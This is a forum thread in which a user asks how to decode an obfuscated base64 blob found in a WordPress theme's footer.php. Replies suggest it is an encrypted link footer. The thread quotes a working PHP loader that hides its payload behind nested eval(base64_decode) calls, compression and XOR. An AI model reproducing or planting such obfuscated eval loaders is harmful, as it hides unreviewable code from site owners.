Hello,

Im trying to decode a footer.php base64 but whenever i use a online decoder i get wired characters like;

¦XM Ñ“†+ŠW¢²šèµç-yÖòrŠr®(!¶V°NŠÞ½êìyéàŠwž®ŠÝyÊzØb±ø¥z+,¶¸œ¶\©®ˆbn+wú�€ÉŠŠ‰ÑØ™IÊŠŽH�ƒ@LŽØÛœIÙٝ‰PØ�lINNÊ�P�}€”ÀäQZÜÚ�
Z‰ÒÛš[ Ê
ÁY@”šÀPˆ

The Code im trying to decode is

<?php 
$o="QEAADgAQOyYqKidEa2JmdScqKjkgAAoNATAOO2NucSdka2Z0dDolQ2BkAbElOTsoAUAB9AoCUwORRWhzc2gANWonS25pbHQnKCgEPwQxZQJSawJBQiAlBDQOO3JrBiZmc3QBhg47OHdvAAB3J3B3WGtudHNYZGZzYmBoAEB1bmJ0LyB0aHUBEGhrcmppOgAAamJpclhodWNidSFzbnNrYoAAAuA6IWNid3NvOjYhdG9ocFgAAGRocmlzOjchbmlka3JjYjoAQCApYGJzWHB3aQGgaWFuYC8gwHAEQgH0IC4pICFifwK/ArgB9CAuLjwiQic4DIYocmsAxnJrDUV3ZmBiDVlrABBuOTtmJ291YmE6JQ4jYmRvaEABJwkxaHdzbmhpLyBvaGpiIAWyEdslOU8AwDsoZhdgA5AW8w4RrAYiLxFfEV/hYRFTDpQQjyBzaHcZwlgCNBDJWHN1YhPPd/gvA0cRXyQQOxFXI4kmsiJQI1onVQKYAoVEaGkOBnNiaXMlVhCSAdJBaGhzYnUnGSs5YeEAAeIlNQGqa2JhcwGVDjtuamAndHVAIGQZNWVraGBuaWFoFWBzfmtidCAKb2IjIGNudWJkc2h1fhnDKANAKIAAAoBoWHRqZmtrKnN1Zml0KXcAAWlgJSdma3M6JSUnKDk7ZQmwgAQhVURod351bmBvcychZACwPCcGQDU3Nz4nIEMHF2lmH9UpJ0ZrayeAAAMidCd1YnRidXFiYyknRXVoQAhyBFFzaCd+aHInZX4nJQZvc3MAAnc9KChwcHApZWJ0cypzC3BvEAFwb24TwG5pYClpYnMoJTlTAVEwACdQAWUl0SdmaWMnUG5kbGJjJ1W9cCNwdwbgdBZCDhjYQNphCYIUHy1EDQd0FB/6ABQZOHEUURP/E/1XD4Bja34nd2hwYnXwrQqQD58PkgwGKWh1YA7wUA0AVw0BDpEpGRoAWVFuYnAnSmh1YhQnJTt1HDAlOQOABgNqbnJqJwRBEUInU29iamJ0BLER/v4PEqgpoi3wKdQtlAIXAgVQdWZ3dyvgAhVPFStzYEAvQDIGgDsoZWhjfiRwOyhvc2prAAA5";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

Any ideas?

    This sort of question has been asked many times before; just searching for "base64" should turn up plenty of examples.

    Yes; it's part of a Wordpress theme to display some links at the bottom (to things like the creator's copyright notice, I guess): it's encrypted, and followed by a lot more code designed to decrypt it.

    Which probably means you're not supposed to be able to read it. Why do you need to?

      Write a Reply...